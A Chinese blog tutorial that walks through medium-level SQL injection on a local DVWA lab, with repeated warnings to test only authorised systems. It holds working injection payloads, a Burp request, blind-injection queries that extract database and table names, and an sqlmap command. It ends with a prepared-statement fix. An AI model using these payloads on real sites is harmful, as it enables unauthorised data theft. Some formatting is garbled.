在渗透测试的学习过程中,DVWA(Damn Vulnerable Web Application)是一个极佳的实战平台。今天我将详细拆解中等难度下的SQL注入攻击手法,特别是针对过滤机制的特殊处理方式。这个难度级别相比初级增加了基础防护,正好用来练习绕过技巧。
注意:本文所有实验均在本地搭建的DVWA环境进行,严禁对未授权网站进行测试
首先需要明确的是,DVWA中等难度对SQL注入做了简单防护 - 它过滤了某些特殊字符。从错误提示的消失就能看出,这里采用了静默处理机制,不像低级难度那样直接显示数据库错误。
我使用的环境配置:
启动Burp Suite后,需要先完成两项关键配置:
浏览器代理设置:确保流量经过Burp
Burp证书安装:
bash复制# 访问http://burp下载证书
certutil -addstore root burp-cert.der
配置完成后,在DVWA的SQL注入页面提交任意查询,就能在Burp的Proxy→HTTP history中看到请求记录。
按照低级难度的经验,我首先尝试经典注入语句:
sql复制1' or 1=1--
发现页面返回异常(非错误提示,而是无结果返回),这说明:
通过Burp的Repeater模块反复测试,可以确认以下特征:
采用排除法逐步测试被过滤的字符/关键词:
| 测试输入 | 响应结果 | 结论 |
|---|---|---|
1' |
无结果 | 单引号被过滤 |
1 or 1=1 |
成功返回 | or和=可用 |
1-- |
无结果 | 注释符被过滤 |
1# |
无结果 | #被过滤 |
1/* |
无结果 | /*被过滤 |
最终确定过滤规则:
', --, #, /*or, =, 空格由于常规注释符被过滤,可以采用以下替代方案:
利用查询逻辑短路:
sql复制1 or 1=1
不需要注释后续内容,因为条件已恒真
URL编码绕过(本级别无效):
尝试%27代替单引号,发现仍被过滤
经过多次测试,确认以下变形可以成功:
sql复制1 or 1=1
这个简单语句之所以有效,是因为:
or 1=1使WHERE条件恒真在Burp Repeater中的完整请求示例:
code复制GET /dvwa/vulnerabilities/sqli/?id=1+or+1%3D1&Submit=Submit HTTP/1.1
Host: localhost
在Response中有两个关键查看位置:
成功时会在Render看到所有用户数据,如图:

当页面不直接返回数据,但通过真假条件能判断结果时,就需要使用盲注技术。DVWA中等难度的盲注有以下特点:
sql复制1 or 1=1 # 返回"存在"
1 and 1=2 # 返回"不存在"
sql复制# 测试数据库名长度
1 and length(database())=4 # 确认长度为4
# 逐字符猜解库名
1 and substring(database(),1,1)='d'
# 改用ASCII码避免引号
1 and ascii(substring(database(),1,1))=100
sql复制# 猜表数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
# 猜表名长度
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9
手工盲注效率极低,实际渗透中推荐使用工具:
bash复制sqlmap -u "http://target.com/page?id=1" --technique=B --level=3
但在DVWA环境中建议手工练习以理解原理。
分析这个级别的防护缺陷:
php复制// 正确做法示例
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
我在实际测试中发现,当过滤规则加强时,还可以尝试:
最后要强调的是,所有测试必须在合法授权范围内进行,真正掌握安全技术是为了更好地构建防御体系。在DVWA的高难度级别中,还会遇到更复杂的过滤机制,那时就需要组合使用各种高级技巧了。